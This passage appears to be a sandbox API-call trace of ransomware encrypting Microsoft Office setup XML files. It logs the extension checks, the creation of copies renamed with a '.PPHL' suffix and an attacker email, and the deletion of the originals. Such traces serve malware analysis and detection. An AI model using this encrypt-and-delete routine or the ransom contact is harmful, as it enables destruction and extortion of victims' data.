[0072.963] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0072.963] lstrlenW (lpString=".bz2") returned 4 [0072.963] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0072.963] lstrlenW (lpString=".7z") returned 3 [0072.963] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0072.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.963] lstrlenW (lpString=".dbf") returned 4 [0072.963] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0072.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.963] lstrlenW (lpString=".1cd") returned 4 [0072.963] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0072.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0072.963] lstrlenW (lpString=".jpg") returned 4 [0072.963] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0072.964] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0072.964] lstrlenW (lpString="Proof.XML") returned 9 [0072.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0072.964] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1347) returned 1 [0072.964] CloseHandle (hObject=0x1fc) returned 1 [0072.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0072.964] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0072.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0072.964] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0072.965] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0072.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0072.965] GetLastError () returned 0x0 [0072.965] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x543, lpOverlapped=0x0) returned 1 [0073.004] WriteFile (in: hFile=0x1f8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x550, lpOverlapped=0x0) returned 1 [0073.005] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0073.005] WriteFile (in: hFile=0x1f8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.005] SetEndOfFile (hFile=0x1f8) returned 1 [0073.006] CloseHandle (hObject=0x1f8) returned 1 [0073.006] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0073.006] SetEndOfFile (hFile=0x1fc) returned 1 [0073.007] CloseHandle (hObject=0x1fc) returned 1 [0073.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.007] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0073.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.007] lstrlenW (lpString=".doc") returned 4 [0073.007] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.007] lstrlenW (lpString=".docx") returned 5 [0073.007] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0073.007] lstrlenW (lpString=".pdf") returned 4 [0073.007] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.007] lstrlenW (lpString=".xls") returned 4 [0073.007] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.007] lstrlenW (lpString=".xlsx") returned 5 [0073.007] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0073.008] lstrlenW (lpString=".ppt") returned 4 [0073.008] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.008] lstrlenW (lpString=".zip") returned 4 [0073.008] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.008] lstrlenW (lpString=".rar") returned 4 [0073.008] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.008] lstrlenW (lpString=".bz2") returned 4 [0073.008] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.008] lstrlenW (lpString=".7z") returned 3 [0073.008] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.008] lstrlenW (lpString=".dbf") returned 4 [0073.008] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.008] lstrlenW (lpString=".1cd") returned 4 [0073.008] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.008] lstrlenW (lpString=".jpg") returned 4 [0073.008] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.008] lstrlenW (lpString=".doc") returned 4 [0073.008] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.008] lstrlenW (lpString=".docx") returned 5 [0073.008] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0073.008] lstrlenW (lpString=".pdf") returned 4 [0073.008] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.008] lstrlenW (lpString=".xls") returned 4 [0073.008] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.008] lstrlenW (lpString=".xlsx") returned 5 [0073.008] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0073.008] lstrlenW (lpString=".ppt") returned 4 [0073.009] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.009] lstrlenW (lpString=".zip") returned 4 [0073.009] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.009] lstrlenW (lpString=".rar") returned 4 [0073.009] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.009] lstrlenW (lpString=".bz2") returned 4 [0073.009] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.009] lstrlenW (lpString=".7z") returned 3 [0073.009] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.009] lstrlenW (lpString=".dbf") returned 4 [0073.009] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.009] lstrlenW (lpString=".1cd") returned 4 [0073.009] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0073.009] lstrlenW (lpString=".jpg") returned 4 [0073.009] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.009] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.009] lstrlenW (lpString="Proof.XML") returned 9 [0073.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0073.011] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=1457) returned 1 [0073.011] CloseHandle (hObject=0x1fc) returned 1 [0073.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20 [0073.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0073.011] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0073.011] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0073.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0073.012] GetLastError () returned 0x0 [0073.012] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x5b1, lpOverlapped=0x0) returned 1 [0073.221] WriteFile (in: hFile=0x1f8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0073.221] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0073.222] WriteFile (in: hFile=0x1f8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.222] SetEndOfFile (hFile=0x1f8) returned 1 [0073.222] CloseHandle (hObject=0x1f8) returned 1 [0073.222] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0073.222] SetEndOfFile (hFile=0x1fc) returned 1 [0073.223] CloseHandle (hObject=0x1fc) returned 1 [0073.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.223] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1 [0073.223] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.224] lstrlenW (lpString=".doc") returned 4 [0073.224] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.224] lstrlenW (lpString=".docx") returned 5 [0073.224] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0073.224] lstrlenW (lpString=".pdf") returned 4 [0073.224] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.224] lstrlenW (lpString=".xls") returned 4 [0073.224] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.224] lstrlenW (lpString=".xlsx") returned 5 [0073.224] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0073.224] lstrlenW (lpString=".ppt") returned 4 [0073.224] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.224] lstrlenW (lpString=".zip") returned 4 [0073.224] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.224] lstrlenW (lpString=".rar") returned 4 [0073.224] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.224] lstrlenW (lpString=".bz2") returned 4 [0073.224] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.224] lstrlenW (lpString=".7z") returned 3 [0073.224] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.224] lstrlenW (lpString=".dbf") returned 4 [0073.224] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.224] lstrlenW (lpString=".1cd") returned 4 [0073.224] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.224] lstrlenW (lpString=".jpg") returned 4 [0073.224] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.224] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.224] lstrlenW (lpString=".doc") returned 4 [0073.224] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.225] lstrlenW (lpString=".docx") returned 5 [0073.225] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0073.225] lstrlenW (lpString=".pdf") returned 4 [0073.225] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.225] lstrlenW (lpString=".xls") returned 4 [0073.225] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.225] lstrlenW (lpString=".xlsx") returned 5 [0073.225] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0073.225] lstrlenW (lpString=".ppt") returned 4 [0073.225] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.225] lstrlenW (lpString=".zip") returned 4 [0073.225] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.225] lstrlenW (lpString=".rar") returned 4 [0073.225] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.225] lstrlenW (lpString=".bz2") returned 4 [0073.225] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.225] lstrlenW (lpString=".7z") returned 3 [0073.225] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.225] lstrlenW (lpString=".dbf") returned 4 [0073.225] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.225] lstrlenW (lpString=".1cd") returned 4 [0073.225] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.225] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98 [0073.225] lstrlenW (lpString=".jpg") returned 4 [0073.225] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.225] lstrcmpiW (lpString1=".XML", lpString2=".PPHL") returned 1 [0073.225] lstrlenW (lpString="SETUP.XML") returned 9 [0073.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0073.226] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2dfff1c | out: lpFileSize=0x2dfff1c*=31094) returned 1 [0073.226] CloseHandle (hObject=0x1fc) returned 1 [0073.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 0x20 [0073.226] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0073.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0073.226] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0073.226] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0073.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0073.715] GetLastError () returned 0x0 [0073.715] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x7976, lpOverlapped=0x0) returned 1 [0073.723] WriteFile (in: hFile=0x1e8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x7980, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0x7980, lpOverlapped=0x0) returned 1 [0073.724] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dffed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2dffed4*=0x0, lpOverlapped=0x0) returned 1 [0073.724] WriteFile (in: hFile=0x1e8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2dffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0073.724] SetEndOfFile (hFile=0x1e8) returned 1 [0073.724] CloseHandle (hObject=0x1e8) returned 1 [0073.724] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dffec8 | out: lpNewFilePointer=0x0) returned 1 [0073.724] SetEndOfFile (hFile=0x1fc) returned 1 [0073.725] CloseHandle (hObject=0x1fc) returned 1 [0073.725] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x20) returned 1 [0073.726] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proplusr\\setup.xml")) returned 1 [0073.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.726] lstrlenW (lpString=".doc") returned 4 [0073.726] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0073.726] lstrlenW (lpString=".docx") returned 5 [0073.726] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0073.726] lstrlenW (lpString=".pdf") returned 4 [0073.726] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0073.726] lstrlenW (lpString=".xls") returned 4 [0073.726] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0073.726] lstrlenW (lpString=".xlsx") returned 5 [0073.726] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0073.726] lstrlenW (lpString=".ppt") returned 4 [0073.726] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0073.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.726] lstrlenW (lpString=".zip") returned 4 [0073.726] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0073.726] lstrlenW (lpString=".rar") returned 4 [0073.726] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0073.726] lstrlenW (lpString=".bz2") returned 4 [0073.726] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0073.726] lstrlenW (lpString=".7z") returned 3 [0073.726] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0073.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.727] lstrlenW (lpString=".dbf") returned 4 [0073.727] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0073.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.727] lstrlenW (lpString=".1cd") returned 4 [0073.727] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0073.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.727] lstrlenW (lpString=".jpg") returned 4 [0073.727] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0073.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\SETUP.XML") returned 98 [0073.727] lstrlenW (lpString=".doc") returned 4 [0073.727] lstrcmpiW 